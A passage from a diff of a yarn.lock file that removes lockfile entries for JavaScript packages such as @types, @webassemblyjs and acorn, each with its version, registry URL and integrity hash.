"@svgr/plugin-jsx" "^6.2.1" - "@svgr/plugin-svgo" "^6.2.0" - -"@szmarczak/http-timer@^4.0.5": - version "4.0.6" - resolved "https://registry.yarnpkg.com/@szmarczak/http-timer/-/http-timer-4.0.6.tgz#b4a914bb62e7c272d4e5989fe4440f812ab1d807" - integrity sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w== - dependencies: - defer-to-connect "^2.0.0" - -"@types/body-parser@*": - version "1.19.2" - resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.2.tgz#aea2059e28b7658639081347ac4fab3de166e6f0" - integrity sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g== - dependencies: - "@types/connect" "*" - "@types/node" "*" - -"@types/bonjour@^3.5.9": - version "3.5.10" - resolved "https://registry.yarnpkg.com/@types/bonjour/-/bonjour-3.5.10.tgz#0f6aadfe00ea414edc86f5d106357cda9701e275" - integrity sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw== - dependencies: - "@types/node" "*" - -"@types/cacheable-request@^6.0.1": - version "6.0.2" - resolved "https://registry.yarnpkg.com/@types/cacheable-request/-/cacheable-request-6.0.2.tgz#c324da0197de0a98a2312156536ae262429ff6b9" - integrity sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA== - dependencies: - "@types/http-cache-semantics" "*" - "@types/keyv" "*" - "@types/node" "*" - "@types/responselike" "*" - -"@types/connect-history-api-fallback@^1.3.5": - version "1.3.5" - resolved "https://registry.yarnpkg.com/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz#d1f7a8a09d0ed5a57aee5ae9c18ab9b803205dae" - integrity sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw== - dependencies: - "@types/express-serve-static-core" "*" - "@types/node" "*" - -"@types/connect@*": - version "3.4.35" - resolved "https://registry.yarnpkg.com/@types/connect/-/connect-3.4.35.tgz#5fcf6ae445e4021d1fc2219a4873cc73a3bb2ad1" - integrity sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ== - dependencies: - "@types/node" "*" - -"@types/eslint-scope@^3.7.3": - version "3.7.4" - resolved "https://registry.yarnpkg.com/@types/eslint-scope/-/eslint-scope-3.7.4.tgz#37fc1223f0786c39627068a12e94d6e6fc61de16" - integrity sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA== - dependencies: - "@types/eslint" "*" - "@types/estree" "*" - -"@types/eslint@*": - version "8.4.5" - resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-8.4.5.tgz#acdfb7dd36b91cc5d812d7c093811a8f3d9b31e4" - integrity sha512-dhsC09y1gpJWnK+Ff4SGvCuSnk9DaU0BJZSzOwa6GVSg65XtTugLBITDAAzRU5duGBoXBHpdR/9jHGxJjNflJQ== - dependencies: - "@types/estree" "*" - "@types/json-schema" "*" - -"@types/estree@*": - version "1.0.0" - resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.0.tgz#5fb2e536c1ae9bf35366eed879e827fa59ca41c2" - integrity sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ== - -"@types/estree@^0.0.51": - version "0.0.51" - resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.51.tgz#cfd70924a25a3fd32b218e5e420e6897e1ac4f40" - integrity sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ== - -"@types/express-serve-static-core@*", "@types/express-serve-static-core@^4.17.18": - version "4.17.29" - resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-4.17.29.tgz#2a1795ea8e9e9c91b4a4bbe475034b20c1ec711c" - integrity sha512-uMd++6dMKS32EOuw1Uli3e3BPgdLIXmezcfHv7N4c1s3gkhikBplORPpMq3fuWkxncZN1reb16d5n8yhQ80x7Q== - dependencies: - "@types/node" "*" - "@types/qs" "*" - "@types/range-parser" "*" - -"@types/express@*", "@types/express@^4.17.13": - version "4.17.13" - resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.13.tgz#a76e2995728999bab51a33fabce1d705a3709034" - integrity sha512-6bSZTPaTIACxn48l50SR+axgrqm6qXFIxrdAKaG6PaJk3+zuUr35hBlgT7vOmJcum+OEaIBLtHV/qloEAFITeA== - dependencies: - "@types/body-parser" "*" - "@types/express-serve-static-core" "^4.17.18" - "@types/qs" "*" - "@types/serve-static" "*" - -"@types/hast@^2.0.0": - version "2.3.4" - resolved "https://registry.yarnpkg.com/@types/hast/-/hast-2.3.4.tgz#8aa5ef92c117d20d974a82bdfb6a648b08c0bafc" - integrity sha512-wLEm0QvaoawEDoTRwzTXp4b4jpwiJDvR5KMnFnVodm3scufTlBOWRD6N1OBf9TZMhjlNsSfcO5V+7AF4+Vy+9g== - dependencies: - "@types/unist" "*" - -"@types/history@^4.7.11": - version "4.7.11" - resolved "https://registry.yarnpkg.com/@types/history/-/history-4.7.11.tgz#56588b17ae8f50c53983a524fc3cc47437969d64" - integrity sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA== - -"@types/html-minifier-terser@^6.0.0": - version "6.1.0" - resolved "https://registry.yarnpkg.com/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz#4fc33a00c1d0c16987b1a20cf92d20614c55ac35" - integrity sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg== - -"@types/http-cache-semantics@*": - version "4.0.1" - resolved "https://registry.yarnpkg.com/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz#0ea7b61496902b95890dc4c3a116b60cb8dae812" - integrity sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ== - -"@types/http-proxy@^1.17.8": - version "1.17.9" - resolved "https://registry.yarnpkg.com/@types/http-proxy/-/http-proxy-1.17.9.tgz#7f0e7931343761efde1e2bf48c40f02f3f75705a" - integrity sha512-QsbSjA/fSk7xB+UXlCT3wHBy5ai9wOcNDWwZAtud+jXhwOM3l+EYZh8Lng4+/6n8uar0J7xILzqftJdJ/Wdfkw== - dependencies: - "@types/node" "*" - -"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0": - version "2.0.4" - resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz#8467d4b3c087805d63580480890791277ce35c44" - integrity sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g== - -"@types/istanbul-lib-report@*": - version "3.0.0" - resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686" - integrity sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg== - dependencies: - "@types/istanbul-lib-coverage" "*" - -"@types/istanbul-reports@^3.0.0": - version "3.0.1" - resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz#9153fe98bba2bd565a63add9436d6f0d7f8468ff" - integrity sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw== - dependencies: - "@types/istanbul-lib-report" "*" - -"@types/json-buffer@~3.0.0": - version "3.0.0" - resolved "https://registry.yarnpkg.com/@types/json-buffer/-/json-buffer-3.0.0.tgz#85c1ff0f0948fc159810d4b5be35bf8c20875f64" - integrity sha512-3YP80IxxFJB4b5tYC2SUPwkg0XQLiu0nWvhRgEatgjf+29IcWO9X1k8xRv5DGssJ/lCrjYTjQPcobJr2yWIVuQ== - -"@types/json-schema@*", "@types/json-schema@^7.0.4", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.8", "@types/json-schema@^7.0.9": - version "7.0.11" - resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.11.tgz#d421b6c527a3037f7c84433fd2c4229e016863d3" - integrity sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ== - -"@types/katex@^0.11.0": - version "0.11.1" - resolved "https://registry.yarnpkg.com/@types/katex/-/katex-0.11.1.tgz#34de04477dcf79e2ef6c8d23b41a3d81f9ebeaf5" - integrity sha512-DUlIj2nk0YnJdlWgsFuVKcX27MLW0KbKmGVoUHmFr+74FYYNUDAaj9ZqTADvsbE8rfxuVmSFc7KczYn5Y09ozg== - -"@types/keyv@*": - version "3.1.4" - resolved "https://registry.yarnpkg.com/@types/keyv/-/keyv-3.1.4.tgz#3ccdb1c6751b0c7e52300bcdacd5bcbf8faa75b6" - integrity sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg== - dependencies: - "@types/node" "*" - -"@types/mdast@^3.0.0": - version "3.0.10" - resolved "https://registry.yarnpkg.com/@types/mdast/-/mdast-3.0.10.tgz#4724244a82a4598884cbbe9bcfd73dff927ee8af" - integrity sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA== - dependencies: - "@types/unist" "*" - -"@types/mime@^1": - version "1.3.2" - resolved "https://registry.yarnpkg.com/@types/mime/-/mime-1.3.2.tgz#93e25bf9ee75fe0fd80b594bc4feb0e862111b5a" - integrity sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw== - -"@types/node@*": - version "18.0.6" - resolved "https://registry.yarnpkg.com/@types/node/-/node-18.0.6.tgz#0ba49ac517ad69abe7a1508bc9b3a5483df9d5d7" - integrity sha512-/xUq6H2aQm261exT6iZTMifUySEt4GR5KX8eYyY+C4MSNPqSh9oNIP7tz2GLKTlFaiBbgZNxffoR3CVRG+cljw== - -"@types/node@^17.0.5": - version "17.0.45" - resolved "https://registry.yarnpkg.com/@types/node/-/node-17.0.45.tgz#2c0fafd78705e7a18b7906b5201a522719dc5190" - integrity sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw== - -"@types/parse-json@^4.0.0": - version "4.0.0" - resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0" - integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA== - -"@types/parse5@^5.0.0": - version "5.0.3" - resolved "https://registry.yarnpkg.com/@types/parse5/-/parse5-5.0.3.tgz#e7b5aebbac150f8b5fdd4a46e7f0bd8e65e19109" - integrity sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw== - -"@types/prop-types@*": - version "15.7.5" - resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.5.tgz#5f19d2b85a98e9558036f6a3cacc8819420f05cf" - integrity sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w== - -"@types/qs@*": - version "6.9.7" - resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.7.tgz#63bb7d067db107cc1e457c303bc25d511febf6cb" - integrity sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw== - -"@types/range-parser@*": - version "1.2.4" - resolved "https://registry.yarnpkg.com/@types/range-parser/-/range-parser-1.2.4.tgz#cd667bcfdd025213aafb7ca5915a932590acdcdc" - integrity sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw== - -"@types/react-router-config@*", "@types/react-router-config@^5.0.6": - version "5.0.6" - resolved "https://registry.yarnpkg.com/@types/react-router-config/-/react-router-config-5.0.6.tgz#87c5c57e72d241db900d9734512c50ccec062451" - integrity sha512-db1mx37a1EJDf1XeX8jJN7R3PZABmJQXR8r28yUjVMFSjkmnQo6X6pOEEmNl+Tp2gYQOGPdYbFIipBtdElZ3Yg== - dependencies: - "@types/history" "^4.7.11" - "@types/react" "*" - "@types/react-router" "*" - -"@types/react-router-dom@*": - version "5.3.3" - resolved "https://registry.yarnpkg.com/@types/react-router-dom/-/react-router-dom-5.3.3.tgz#e9d6b4a66fcdbd651a5f106c2656a30088cc1e83" - integrity sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw== - dependencies: - "@types/history" "^4.7.11" - "@types/react" "*" - "@types/react-router" "*" - -"@types/react-router@*": - version "5.1.18" - resolved "https://registry.yarnpkg.com/@types/react-router/-/react-router-5.1.18.tgz#c8851884b60bc23733500d86c1266e1cfbbd9ef3" - integrity sha512-YYknwy0D0iOwKQgz9v8nOzt2J6l4gouBmDnWqUUznltOTaon+r8US8ky8HvN0tXvc38U9m6z/t2RsVsnd1zM0g== - dependencies: - "@types/history" "^4.7.11" - "@types/react" "*" - -"@types/react@*": - version "18.0.15" - resolved "https://registry.yarnpkg.com/@types/react/-/react-18.0.15.tgz#d355644c26832dc27f3e6cbf0c4f4603fc4ab7fe" - integrity sha512-iz3BtLuIYH1uWdsv6wXYdhozhqj20oD4/Hk2DNXIn1kFsmp9x8d9QB6FnPhfkbhd2PgEONt9Q1x/ebkwjfFLow== - dependencies: - "@types/prop-types" "*" - "@types/scheduler" "*" - csstype "^3.0.2" - -"@types/responselike@*", "@types/responselike@^1.0.0": - version "1.0.0" - resolved "https://registry.yarnpkg.com/@types/responselike/-/responselike-1.0.0.tgz#251f4fe7d154d2bad125abe1b429b23afd262e29" - integrity sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA== - dependencies: - "@types/node" "*" - -"@types/retry@0.12.0": - version "0.12.0" - resolved "https://registry.yarnpkg.com/@types/retry/-/retry-0.12.0.tgz#2b35eccfcee7d38cd72ad99232fbd58bffb3c84d" - integrity sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA== - -"@types/sax@^1.2.1": - version "1.2.4" - resolved "https://registry.yarnpkg.com/@types/sax/-/sax-1.2.4.tgz#8221affa7f4f3cb21abd22f244cfabfa63e6a69e" - integrity sha512-pSAff4IAxJjfAXUG6tFkO7dsSbTmf8CtUpfhhZ5VhkRpC4628tJhh3+V6H1E+/Gs9piSzYKT5yzHO5M4GG9jkw== - dependencies: - "@types/node" "*" - -"@types/scheduler@*": - version "0.16.2" - resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.2.tgz#1a62f89525723dde24ba1b01b092bf5df8ad4d39" - integrity sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew== - -"@types/serve-index@^1.9.1": - version "1.9.1" - resolved "https://registry.yarnpkg.com/@types/serve-index/-/serve-index-1.9.1.tgz#1b5e85370a192c01ec6cec4735cf2917337a6278" - integrity sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg== - dependencies: - "@types/express" "*" - -"@types/serve-static@*", "@types/serve-static@^1.13.10": - version "1.13.10" - resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.13.10.tgz#f5e0ce8797d2d7cc5ebeda48a52c96c4fa47a8d9" - integrity sha512-nCkHGI4w7ZgAdNkrEu0bv+4xNV/XDqW+DydknebMOQwkpDGx8G+HTlj7R7ABI8i8nKxVw0wtKPi1D+lPOkh4YQ== - dependencies: - "@types/mime" "^1" - "@types/node" "*" - -"@types/sockjs@^0.3.33": - version "0.3.33" - resolved "https://registry.yarnpkg.com/@types/sockjs/-/sockjs-0.3.33.tgz#570d3a0b99ac995360e3136fd6045113b1bd236f" - integrity sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw== - dependencies: - "@types/node" "*" - -"@types/unist@*", "@types/unist@^2.0.0", "@types/unist@^2.0.2", "@types/unist@^2.0.3": - version "2.0.6" - resolved "https://registry.yarnpkg.com/@types/unist/-/unist-2.0.6.tgz#250a7b16c3b91f672a24552ec64678eeb1d3a08d" - integrity sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ== - -"@types/ws@^8.5.1": - version "8.5.3" - resolved "https://registry.yarnpkg.com/@types/ws/-/ws-8.5.3.tgz#7d25a1ffbecd3c4f2d35068d0b283c037003274d" - integrity sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w== - dependencies: - "@types/node" "*" - -"@types/yargs-parser@*": - version "21.0.0" - resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-21.0.0.tgz#0c60e537fa790f5f9472ed2776c2b71ec117351b" - integrity sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA== - -"@types/yargs@^17.0.8": - version "17.0.14" - resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-17.0.14.tgz#0943473052c24bd8cf2d1de25f1a710259327237" - integrity sha512-9Pj7abXoW1RSTcZaL2Hk6G2XyLMlp5ECdVC/Zf2p/KBjC3srijLGgRAXOBjtFrJoIrvxdTKyKDA14bEcbxBaWw== - dependencies: - "@types/yargs-parser" "*" - -"@webassemblyjs/ast@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.11.1.tgz#2bfd767eae1a6996f432ff7e8d7fc75679c0b6a7" - integrity sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw== - dependencies: - "@webassemblyjs/helper-numbers" "1.11.1" - "@webassemblyjs/helper-wasm-bytecode" "1.11.1" - -"@webassemblyjs/floating-point-hex-parser@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz#f6c61a705f0fd7a6aecaa4e8198f23d9dc179e4f" - integrity sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ== - -"@webassemblyjs/helper-api-error@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz#1a63192d8788e5c012800ba6a7a46c705288fd16" - integrity sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg== - -"@webassemblyjs/helper-buffer@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz#832a900eb444884cde9a7cad467f81500f5e5ab5" - integrity sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA== - -"@webassemblyjs/helper-numbers@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz#64d81da219fbbba1e3bd1bfc74f6e8c4e10a62ae" - integrity sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ== - dependencies: - "@webassemblyjs/floating-point-hex-parser" "1.11.1" - "@webassemblyjs/helper-api-error" "1.11.1" - "@xtuc/long" "4.2.2" - -"@webassemblyjs/helper-wasm-bytecode@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz#f328241e41e7b199d0b20c18e88429c4433295e1" - integrity sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q== - -"@webassemblyjs/helper-wasm-section@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz#21ee065a7b635f319e738f0dd73bfbda281c097a" - integrity sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg== - dependencies: - "@webassemblyjs/ast" "1.11.1" - "@webassemblyjs/helper-buffer" "1.11.1" - "@webassemblyjs/helper-wasm-bytecode" "1.11.1" - "@webassemblyjs/wasm-gen" "1.11.1" - -"@webassemblyjs/ieee754@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz#963929e9bbd05709e7e12243a099180812992614" - integrity sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ== - dependencies: - "@xtuc/ieee754" "^1.2.0" - -"@webassemblyjs/leb128@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.11.1.tgz#ce814b45574e93d76bae1fb2644ab9cdd9527aa5" - integrity sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw== - dependencies: - "@xtuc/long" "4.2.2" - -"@webassemblyjs/utf8@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.11.1.tgz#d1f8b764369e7c6e6bae350e854dec9a59f0a3ff" - integrity sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ== - -"@webassemblyjs/wasm-edit@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz#ad206ebf4bf95a058ce9880a8c092c5dec8193d6" - integrity sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA== - dependencies: - "@webassemblyjs/ast" "1.11.1" - "@webassemblyjs/helper-buffer" "1.11.1" - "@webassemblyjs/helper-wasm-bytecode" "1.11.1" - "@webassemblyjs/helper-wasm-section" "1.11.1" - "@webassemblyjs/wasm-gen" "1.11.1" - "@webassemblyjs/wasm-opt" "1.11.1" - "@webassemblyjs/wasm-parser" "1.11.1" - "@webassemblyjs/wast-printer" "1.11.1" - -"@webassemblyjs/wasm-gen@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz#86c5ea304849759b7d88c47a32f4f039ae3c8f76" - integrity sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA== - dependencies: - "@webassemblyjs/ast" "1.11.1" - "@webassemblyjs/helper-wasm-bytecode" "1.11.1" - "@webassemblyjs/ieee754" "1.11.1" - "@webassemblyjs/leb128" "1.11.1" - "@webassemblyjs/utf8" "1.11.1" - -"@webassemblyjs/wasm-opt@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz#657b4c2202f4cf3b345f8a4c6461c8c2418985f2" - integrity sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw== - dependencies: - "@webassemblyjs/ast" "1.11.1" - "@webassemblyjs/helper-buffer" "1.11.1" - "@webassemblyjs/wasm-gen" "1.11.1" - "@webassemblyjs/wasm-parser" "1.11.1" - -"@webassemblyjs/wasm-parser@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz#86ca734534f417e9bd3c67c7a1c75d8be41fb199" - integrity sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA== - dependencies: - "@webassemblyjs/ast" "1.11.1" - "@webassemblyjs/helper-api-error" "1.11.1" - "@webassemblyjs/helper-wasm-bytecode" "1.11.1" - "@webassemblyjs/ieee754" "1.11.1" - "@webassemblyjs/leb128" "1.11.1" - "@webassemblyjs/utf8" "1.11.1" - -"@webassemblyjs/wast-printer@1.11.1": - version "1.11.1" - resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz#d0c73beda8eec5426f10ae8ef55cee5e7084c2f0" - integrity sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg== - dependencies: - "@webassemblyjs/ast" "1.11.1" - "@xtuc/long" "4.2.2" - -"@xtuc/ieee754@^1.2.0": - version "1.2.0" - resolved "https://registry.yarnpkg.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790" - integrity sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA== - -"@xtuc/long@4.2.2": - version "4.2.2" - resolved "https://registry.yarnpkg.com/@xtuc/long/-/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d" - integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ== - -accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.8: - version "1.3.8" - resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e" - integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw== - dependencies: - mime-types "~2.1.34" - negotiator "0.6.3" - -acorn-import-assertions@^1.7.6: - version "1.8.0" - resolved "https://registry.yarnpkg.com/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz#ba2b5939ce62c238db6d93d81c9b111b29b855e9" - integrity sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw== - -acorn-walk@^8.0.0: - version "8.2.0" - resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-8.2.0.tgz#741210f2e2426454508853a2f44d0ab83b7f69c1" - integrity sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA== - 